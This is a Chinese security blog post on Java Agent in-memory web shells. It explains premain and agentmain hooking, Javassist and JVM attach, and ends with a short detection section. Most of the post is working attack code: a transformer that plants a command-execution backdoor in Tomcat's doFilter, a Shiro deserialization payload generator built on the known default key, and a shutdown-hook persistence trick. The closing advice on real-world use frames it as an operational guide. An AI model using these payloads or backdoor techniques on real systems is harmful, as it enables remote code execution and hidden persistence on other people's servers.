浅谈基于Java Agent内存马的攻与防

admin 2022年5月31日17:36:40评论121 views字数 23213阅读77分22秒阅读模式

声明:本公众号文章来自作者日常学习笔记或授权后的网络转载,切勿利用文章内的相关技术从事任何非法活动,因此产生的一切后果与文章作者和本公众号无关!


0x00 Java Agent


在 jdk 1.5 之后引入了  java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法


Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去


说白了 Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain


加载Agen有两种实现方式:

  • 实现premain方法(JVM启动前加载)

  • 实现agentmain方法(JVM启动后加载)


0x01 启动前加载


先来一个demo,它实现了premain方法

import java.lang.instrument.Instrumentation;
public class DemoTest { public static void premain(String agentArgs, Instrumentation inst) throws Exception{ System.out.println(agentArgs); for(int i=0;i<5;i++){ System.out.println("premain method is invoked!"); } }}


在定义一个清单文件agent.mf(必须要加一个换行)

Manifest-Version: 1.0Premain-Class: DemoTest


使用javac编译完后,打jar包

jar cvfm agent.jar agent.mf DemoTest.class


再来一个正常的测试类

public class Hello {    public static void main(String[] args) {        System.out.println("Ohhhhhhhhh");    }}


重复之前的操作

Manifest-Version: 1.0Main-Class: Hello


打jar包

jar cvfm hello.jar hello.mf Hello.class


最后测试

java -javaagent:agent.jar=args -jar hello.jar


可以看到premain方法是在main方法之前执行的,这里的args就是agent的启动参数


浅谈基于Java Agent内存马的攻与防


实现premain方法后,除了获取args还可以进行别的操作,我们先来了解几个接口


Instrumentation接口


Instrumentation提供了用来监测运行在JVM中的Java API,它有几个关键方法

  • addTransformer/removeTransformer添加或删除ClassFileTransformer

  • getAllLoadedClasses获取所有JVM加载的类

  • redefineClasses重新定义已经加载类的字节码

  • setNativeMethodPrefix动态设置JNI前缀,可以实现Hook native方法。

  • retransformClasses重新加载已经被JVM加载过的类的字节码


ClassFileTransformer接口


ClassFileTransformer是一个转换类文件的代理接口,我们可以在获取到Instrumentation对象后通过addTransformer方法添加自定义类文件转换器。


这个接口下的Transform方法可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以实现动态加载字节码的关键就是这个接口下的Transform方法


Demo


这里的需求就是在加载指定方法前先执行我们的代码,也就是做一个简单的Hook,先来一个被Hook的类

public class Hello{    public static void main(String[] args) {        System.out.println("Hello Agent ~");    }}


再来一个Agent类

import java.lang.instrument.Instrumentation;
public class DemoTest { public static void premain(String agentArgs, Instrumentation inst) throws Exception{ System.out.println(agentArgs); System.out.println("Hooking Class Hello..."); inst.addTransformer(new DefineTransformer(),true); }}


最后去实现它具体的Transform方法

import java.io.IOException;import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;import java.util.Scanner;
public class DefineTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer){ className = className.replace("/","."); System.out.println(className); if (className.equals("Hello")) { System.out.println("Hooked Class Hello !!!"); System.out.print("> "); Scanner scanner = new Scanner(System.in); try { Runtime.getRuntime().exec(scanner.next()); } catch (IOException e) { e.printStackTrace(); } } return new byte[0]; }}


别忘了加上之前的两个mf文件(清单文件)打个jar包

jar cvfm Agent.jar .agent.mf .DemoTest.class .DefineTransformer.classjar cvfm Hello.jar .hello.mf .Hello.class


运行,成功Hook Hello类


浅谈基于Java Agent内存马的攻与防


0x02 javassist


在动态修改字节码实现agent型内存马之前,需要先了解一个包——javassist,这里只做简短介绍以及应用


简介


Javassist (JAVA programming ASSISTant) 是在 Java 中编辑字节码的类库;它使 Java 程序能够在运行时定义一个新类, 并在 JVM 加载时修改类文件。


我们常用到的动态特性主要是反射,在运行时查找对象属性、方法,修改作用域,通过方法名称调用方法等。在线的应用不会频繁使用反射,因为反射的性能开销较大。其实还有一种和反射一样强大的特性,但是开销却很低,它就是Javassit。


与其他类似的字节码编辑器不同, Javassist 提供了两个级别的 API: 源级别和字节码级别。如果用户使用源级 API, 他们可以编辑类文件, 而不知道 Java 字节码的规格。整个 API 只用 Java 语言的词汇来设计。您甚至可以以源文本的形式指定插入的字节码; Javassist 在运行中编译它。另一方面, 字节码级 API 允许用户直接编辑类文件作为其他编辑器。


浅谈基于Java Agent内存马的攻与防


ClassPool


ClassPoolCtClass对象的容器。CtClass对象必须从该对象获得。如果get()在此对象上调用,则它将搜索表示的各种源ClassPath 以查找类文件,然后创建一个CtClass表示该类文件的对象。创建的对象将返回给调用者。


我们一般通过这种方式获取ClassPool对象

ClassPool.getDefault()


CtClass


它本质上也是一个Class对象,只不过需要从ClassPool中获取

CtClass cc = pool.get("Hello");


简单的Demo


我们用javassist写一个简单的demo,目的是实现一个接口

package ssist;
import javassist.*;
public class Demo01{ public static void main(String[] args) throws Exception { // 获取ClassPool对象 ClassPool pool = new ClassPool(true); // 插入类源路径 pool.insertClassPath(new LoaderClassPath(Demo01.class.getClassLoader())); // 新增Class CtClass ctClass = pool.makeClass("ssist.Test"); // 新增Interface ctClass.addInterface(pool.get(Test.class.getName())); // 要添加的方法的返回值类型 CtClass type = pool.get(void.class.getName()); // 方法名称 String name = "SayHello"; // 方法参数 CtClass[] parameters = new CtClass[]{pool.get(String.class.getName())};        // 方法体,$1是方法的第一个参数 String body = "{" + "System.out.println("Hello " + $1);" + "}"; // 实现方法 CtMethod ctMethod = new CtMethod(type, name, parameters, ctClass); // 设置方法体 ctMethod.setBody(body); //添加方法 ctClass.addMethod(ctMethod); //调用 Test o = (Test) ctClass.toClass().newInstance(); o.SayHello("Erikten"); } // 添加Test接口以便于Class的获取等一系列操作 public interface Test { public void SayHello(String str); }}


可以看到我们通过javassist实现了接口,并成功调用了它


浅谈基于Java Agent内存马的攻与防


javassist特殊符号


上边的demo中出现了一个$1,这其实代表的是方法的第一个参数,还有许多别的特殊符号


特殊符号
含义
$0, $1, $2
$this,第一个参数,第二个参数
$args
方法的参数列表
$$
所有实参

$cflow(...)

cflow 变量

$r

返回结果的类型,用于强制类型转换

$w

包装器类型,用于强制类型转换

$_

返回值


0x03 启动后加载


启动后加载 agent 通过新的代理操作来实现:agentmain,使得可以在 main 函数运行后在执行指定代码,同时还有几个关键的类


VirtualMachine


VirtualMachine可以来实现获取系统信息,内存dump、线程dump、类信息统计(例如JVM加载的类)。该类有几个关键方法

  • Attach:允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上

  • loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理

  • Detach:解除Attach


VirtualMachineDescriptor


VirtualMachineDescriptor是用于描述 Java 虚拟机的容器类。它封装了一个标识目标虚拟机的标识符,以及一个AttachProvider在尝试连接到虚拟机时应该使用的引用。标识符依赖于实现,但通常是进程标识符(或 pid)环境,其中每个 Java 虚拟机在其自己的操作系统进程中运行。


VirtualMachineDescriptor实例通常是通过调用VirtualMachine.list() 方法创建的。这将返回描述所有已安装 Java 虚拟机的完整描述符列表attach providers


通过 VirtualMachine 类的 attach(pid) 方法,可以 attach 到一个运行中的 java 进程上,之后便可以通过 loadAgent(agentJarPath) 来将agent 的 jar 包注入到对应的进程,然后对应的进程会调用agentmain方法。


浅谈基于Java Agent内存马的攻与防


简单的Demo


这里还是跟之前那个premain类似,功能就是在加载指定类的时候注入我们的agent


先来一个Agent类

import java.lang.instrument.Instrumentation;
public class AgentMain { public static void agentmain(String agentArgs, Instrumentation ins) { ins.addTransformer(new DefineTransformer(),true); }}


实现具体的Transform方法

import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;import java.util.Scanner;
public class DefineTransformer implements ClassFileTransformer { public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { Scanner sc = new Scanner(System.in); System.out.println("Injected Class AgentMainDemo Successfully !"); System.out.print("> "); try { InputStream is = Runtime.getRuntime().exec(sc.next()).getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(is)); String line; StringBuilder sb = new StringBuilder(); while ((line = br.readLine()) != null) { sb.append(line).append("n"); } System.out.println(sb); } catch (IOException e) { e.printStackTrace(); } return classfileBuffer; }}


创建mf文件

Manifest-Version: 1.0Can-Redefine-Classes: trueCan-Retransform-Classes: trueAgent-Class: AgentMain


最后来个trigger,这里有个坑,Windows不会自己去加载VirtualMachine,需要你手动将JDK目录/lib/tools.jar手动加载到项目资源中

import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;import java.util.List;
public class AgentMainDemo { public static void main(String[] args) throws Exception{ // 生成jar包的绝对路径 String path = "E:\CodeSource\Java\untitled\running\target\classes\AgentMain.jar"; // 列出已加载的jvm List<VirtualMachineDescriptor> list = VirtualMachine.list(); // 遍历已加载的jvm for (VirtualMachineDescriptor v:list){ // 打印jvm的 displayName 属性 System.out.println(v.displayName()); // 如果 displayName 为指定的类 if (v.displayName().contains("AgentMainDemo")){ // 打印pid System.out.println("id >>> " + v.id()); // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接 VirtualMachine vm = VirtualMachine.attach(v.id()); // 将我们的 agent.jar 发送给虚拟机 vm.loadAgent(path); // 解除链接 vm.detach(); } } }}


来看一下运行效果,我们成功将agent注入到了AgentMainDemo类中


浅谈基于Java Agent内存马的攻与防


0x04 反序列化注入Agent内存马


这里主要用到org.apache.catalina.core.ApplicationFilterChain#doFilter,其根本原因就是该方法有ServletRequest和ServletResponse两个参数,里面封装了请求的request和response。另外,internalDoFilter方法是自定义filter的入口,如果在这里拦截,那么filter既通用,又不影响正常业务。


现在知道原理后,就可以创建Agent.jar了

public class MyAgent {    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String args, Instrumentation inst) throws Exception { inst.addTransformer(new MyTransformer(), true); Class[] loadedClasses = inst.getAllLoadedClasses();
for (int i = 0; i < loadedClasses.length; ++i) { Class clazz = loadedClasses[i]; if (clazz.getName().equals(ClassName)) { try { inst.retransformClasses(new Class[]{clazz}); } catch (Exception var9) { var9.printStackTrace(); } }        }    }}


重写transform()

import javassist.*;import java.io.IOException;import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;
public class MyTransformer implements ClassFileTransformer { public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
@Override public byte[] transform(ClassLoader loader, String className, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) { className = className.replace('/', '.');
if (className.equals(ClassName)) {            ClassPool cp = ClassPool.getDefault(); if (aClass != null) { ClassClassPath classPath = new ClassClassPath(aClass); cp.insertClassPath(classPath); } CtClass cc; try { cc = cp.get(className); CtMethod m = cc.getDeclaredMethod("doFilter"); m.insertBefore(" javax.servlet.ServletRequest req = request;n" + " javax.servlet.ServletResponse res = response;" + "String cmd = req.getParameter("cmd");n" + "if (cmd != null) {n" + "Process process = Runtime.getRuntime().exec(cmd);n" + "java.io.BufferedReader bufferedReader = new java.io.BufferedReader(n" + "new java.io.InputStreamReader(process.getInputStream()));n" + "StringBuilder stringBuilder = new StringBuilder();n" + "String line;n" + "while ((line = bufferedReader.readLine()) != null) {n" + "stringBuilder.append(line + '\n');n" + "}n" + "res.getOutputStream().write(stringBuilder.toString().getBytes());n" + "res.getOutputStream().flush();n" + "res.getOutputStream().close();n" + "}"); byte[] byteCode = cc.toBytecode(); cc.detach(); return byteCode; } catch (NotFoundException | IOException | CannotCompileException e) { e.printStackTrace();            } }        return new byte[0]; }}


还是之前的操作,定义mf文件,生成jar,这里的反序列环境用Shiro,链子用Y4er师傅改造的CC10(依赖于ysoserial项目环境),我简单加了些注释

package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import ysoserial.payloads.util.Reflections;
import javax.crypto.BadPaddingException;import javax.crypto.Cipher;import javax.crypto.IllegalBlockSizeException;import javax.crypto.NoSuchPaddingException;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.io.*;import java.lang.reflect.Field;import java.security.InvalidKeyException;import java.security.NoSuchAlgorithmException;import java.util.HashMap;import java.util.HashSet;import java.util.Map;
// 依赖 commons-collections:commons-collections:3.2.1// 依赖于 ysoserial javassistpublic class CommonsCollections10 {
// 设置系统属性 static { System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true"); System.setProperty("java.rmi.server.useCodebaseOnly", "false"); }
public static Object createTemplatesImpl(String command) throws Exception { // 判断系统变量 properXalan 是否存在 return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); }
public static <T> T createTemplatesImpl(String agentPath, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception { // 获取TemplatesImpl类 T templates = tplClass.newInstance(); // Javassist插桩 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); CtClass clazz = pool.get(StubTransletPayload.class.getName()); // 注入Agent String cmd = String.format( " try {n" + "java.io.File toolsJar = new java.io.File(System.getProperty("java.home").replaceFirst("jre", "lib") + java.io.File.separator + "tools.jar");n" + "java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();n" + "java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod("addURL", new java.lang.Class[]{java.net.URL.class});n" + "add.setAccessible(true);n" + " add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});n" + "Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");n" + " Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");" + "java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod("list", null);n" + " java.util.List/*<Object>*/ invoke = (java.util.List/*<Object>*/) list.invoke(null, null);" + "for (int i = 0; i < invoke.size(); i++) {" + "Object o = invoke.get(i);n" + " java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName", null);n" + " Object name = displayName.invoke(o, null);n" + "if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {" + " java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{MyVirtualMachineDescriptor});n" + " Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});n" + " java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", new Class[]{String.class});n" + " loadAgent.invoke(machine, new Object[]{"%s"});n" + " java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);n" + " detach.invoke(machine, null);n" + " break;n" + "}" + "}" + "} catch (Exception e) {n" + " e.printStackTrace();n" + " }" , agentPath.replaceAll("\\", "\\\\").replaceAll(""", "\"")); // 在makeclass时插入我们的代码 clazz.makeClassInitializer().insertAfter(cmd); // 重命名时间 clazz.setName("ysoserial.Pwner" + System.nanoTime()); // 获取准备继承的类class CtClass superC = pool.get(abstTranslet.getName()); // 继承 clazz.setSuperclass(superC); // 转字节码 byte[] classBytes = clazz.toBytecode(); // TemplatesImpl的常规操作, 反射定义恶意字节码 Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, classAsBytes(Foo.class)}); Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }
public static String classAsFile(Class<?> clazz) { return classAsFile(clazz, true); }
public static String classAsFile(Class<?> clazz, boolean suffix) { String str; if (clazz.getEnclosingClass() == null) { str = clazz.getName().replace(".", "/"); } else { str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); }
if (suffix) { str = str + ".class"; }
return str; }
// class转byte[] public static byte[] classAsBytes(Class<?> clazz) { try { byte[] buffer = new byte[1024]; String file = classAsFile(clazz); InputStream in = CommonsBeanutils1.class.getClassLoader().getResourceAsStream(file); if (in == null) { throw new IOException("couldn't find '" + file + "'"); } else { ByteArrayOutputStream out = new ByteArrayOutputStream();
int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); }
return out.toByteArray(); } } catch (IOException var6) { throw new RuntimeException(var6); } }

public static void main(String[] args) throws Exception { // Agent路径 String command = "E:\CodeSource\Java\MyAgent.jar"; // 下面的操作就是cc10 Object templates = createTemplatesImpl(command); InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry entry = new TiedMapEntry(lazyMap, templates); HashSet map = new HashSet(1); map.add("foo"); Field f = null;
try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException var17) { f = HashSet.class.getDeclaredField("backingMap"); }
Reflections.setAccessible(f); HashMap innimpl = null; innimpl = (HashMap) f.get(map); Field f2 = null;
try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException var16) { f2 = HashMap.class.getDeclaredField("elementData"); }
Reflections.setAccessible(f2); Object[] array = new Object[0]; array = (Object[]) ((Object[]) f2.get(innimpl)); Object node = array[0]; if (node == null) { node = array[1]; }
Field keyField = null;
try { keyField = node.getClass().getDeclaredField("key"); } catch (Exception var15) { keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); }
Reflections.setAccessible(keyField); keyField.set(node, entry); Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// 序列化payload byte[] bytes = Serializables.serializeToBytes(map); String key = "kPH+bIxk5D2deZiIxcaaaA=="; // AES加密 String rememberMe = EncryptUtil.shiroEncrypt(key, bytes); System.out.println(rememberMe); }
// 定义版本ID public static class Foo implements Serializable { private static final long serialVersionUID = 8207363842866235160L;
public Foo() { } }
public static class StubTransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L;
public StubTransletPayload() { }
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }

}// 序列化class Serializables { public static byte[] serializeToBytes(final Object obj) throws Exception { final ByteArrayOutputStream out = new ByteArrayOutputStream(); final ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(obj); objOut.flush(); objOut.close(); return out.toByteArray(); }

public static Object deserializeFromBytes(final byte[] serialized) throws Exception { final ByteArrayInputStream in = new ByteArrayInputStream(serialized); final ObjectInputStream objIn = new ObjectInputStream(in); return objIn.readObject(); }
public static void serializeToFile(String path, Object obj) throws Exception { FileOutputStream fos = new FileOutputStream("object"); ObjectOutputStream os = new ObjectOutputStream(fos); //writeObject()方法将obj对象写入object文件 os.writeObject(obj); os.close(); }
public static Object serializeFromFile(String path) throws Exception { FileInputStream fis = new FileInputStream(path); ObjectInputStream ois = new ObjectInputStream(fis); // 通过Object的readObject()恢复对象 Object obj = ois.readObject(); ois.close(); return obj; }
}
// AES加密class EncryptUtil { private static final String ENCRY_ALGORITHM = "AES"; private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding"; private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes(); // 16字节IV
public EncryptUtil() { }
public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) { try { SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM); Cipher cipher = Cipher.getInstance(CIPHER_MODE); IvParameterSpec iv = new IvParameterSpec(IV); cipher.init(1, keySpec, iv); byte[] cipherTextBytes = cipher.doFinal(clearTextBytes); return cipherTextBytes; } catch (NoSuchPaddingException var6) { var6.printStackTrace(); } catch (NoSuchAlgorithmException var7) { var7.printStackTrace(); } catch (BadPaddingException var8) { var8.printStackTrace(); } catch (IllegalBlockSizeException var9) { var9.printStackTrace(); } catch (InvalidKeyException var10) { var10.printStackTrace(); } catch (Exception var11) { var11.printStackTrace(); }
return null; }
public static String shiroEncrypt(String key, byte[] objectBytes) { byte[] pwd = Base64.decode(key); byte[] cipher = encrypt(objectBytes, pwd);
assert cipher != null;
byte[] output = new byte[pwd.length + cipher.length]; byte[] iv = IV; System.arraycopy(iv, 0, output, 0, iv.length); System.arraycopy(cipher, 0, output, pwd.length, cipher.length); return Base64.encode(output); }}


运行即可获得Payload,发送给目标站点


浅谈基于Java Agent内存马的攻与防


在任意路径输入?cmd=commond即可


浅谈基于Java Agent内存马的攻与防


0x05 Agent内存马秽土转生


在jvm关闭时我们可以通过Runtime去设置钩子

Runtime.getRuntime().addShutdownHook()


那么我们便可以利用这个方法,在程序重启前再执行一次我们想执行的代码,据说下面代码来自rebeyond师傅Github项目memshell(我没找到)

public static void persist() {     try {         Thread t = new Thread() {             public void run() {                 try {                     writeFiles("inject.jar",Agent.injectFileBytes);                     writeFiles("agent.jar",Agent.agentFileBytes);                     startInject();                 } catch (Exception e) {
} } }; t.setName("shutdown Thread"); Runtime.getRuntime().addShutdownHook(t); } catch (Throwable t) { }}


思路就是在jvm关闭时向磁盘写入两个jar包,然后通过startInjection()运行injection.jar,现在代码也没了,我猜Injection.jar应该是一个监视程序,当目标再次启动web项目时,将agent注入进去


这就带来两个问题:

  • 额外落地的两个jar包

  • 持续运行的监视程序


我这里简单实现一下,当SpringBoot结束的时候,弹出计算器(主要是我不知道监视系统怎么实现)


来一个agent

import java.lang.instrument.Instrumentation;
public class FirstAgent { public static void agentmain(String agentArgs, Instrumentation instrumentation) { instrumentation.addTransformer(new FirstTransformer(), true); }}


实现具体的transform

import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;
public class FirstTransformer implements ClassFileTransformer { public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { Runtime.getRuntime().addShutdownHook(new Thread(new Calc())); return null; }}


计算器

import java.io.IOException;
public class Calc implements Runnable{ @Override public void run() { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } }}


将这三个类打jar包,使用VirtualMachine注入SpringBoot的Application

package com.example.demo;
import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;import java.util.List;
public class AgentMainDemo { public static void main(String[] args) throws Exception{ String path = "E:\CodeSource\Java\untitled\Agent\target\classes\Agent.jar"; List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor v:list){ System.out.println(v.displayName()); if (v.displayName().contains("com.example.demo.DemoApplication")){ System.out.println("id >>> " + v.id()); VirtualMachine vm = VirtualMachine.attach(v.id()); vm.loadAgent(path); vm.detach(); } } }}


看看最终效果


浅谈基于Java Agent内存马的攻与防



0x06 Agent内存马查杀


因为Agent内存马的精髓就在于动态修改已加载的字节码,所以现在很多项目都是dump出jvm当前已加载的类并进行字节码分析,比如以下几个关键类


类名 方法名
javax/servlet/http/HttpServlet service
org/apache/catalina/core/ApplicationFilterChain doFilter
org/springframework/web/servlet/DispatcherServlet doService
org/apache/tomcat/websocket/server/WsFilter doFilter


在我之前的一篇文章分析过基于JSP的内存马,那个查杀起来就相对容易,但是,我找了几个几个项目,目前并没有一款开源的优秀卸载工具,还有一种思路是效仿冰蝎的“防检测”功能,因为这个功能的核心就是防止Agent再次注入,以达到防检测的功能,这样一来我们也可以用到防止内存马的注入上,可谓是一把双刃剑


核心代码,具体实现可以参考这篇文章https://xz.aliyun.com/t/10075

unsigned char buf[]="xc2x14x00"; //32,direct return enqueue functionHINSTANCE hModule = LoadLibrary(L"jvm.dll");//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");LPVOID dst=GetProcAddress(hModule,"_JVM_EnqueueOperation@20");DWORD old;if (VirtualProtectEx(GetCurrentProcess(),dst, 3, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);VirtualProtectEx(GetCurrentProcess(), dst, 3, old, &old);}
/*unsigned char buf[]="xc3"; //64,direct return enqueue functionHINSTANCE hModule = LoadLibrary(L"jvm.dll");//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");LPVOID dst=GetProcAddress(hModule,"JVM_EnqueueOperation");//printf("ConnectNamedPipe:%p",dst);DWORD old;if (VirtualProtectEx(GetCurrentProcess(),dst, 1, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);}*/


0x07思考


还有师傅说注入Agent内存马目标站崩掉,原因可能是虚拟内存不足,总的来说感觉Agent内存马比Servlet、Listener、Filter等内存马更猛,同样需要落地文件,jar包的流量特征应该是比jsp隐蔽,如果防守方不够专业,完全可以采用内存马秽土转生做持久化,同时还有像冰蝎防检测这种机制,Agent内存马是真的猛,唯一的不足就是在注入jar包时可能导致网站崩掉,实战还是谨慎使用

原文始发于微信公众号(安全日记):浅谈基于Java Agent内存马的攻与防

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月31日17:36:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈基于Java Agent内存马的攻与防http://cn-sec.com/archives/1072323.html

发表评论

匿名网友 填写信息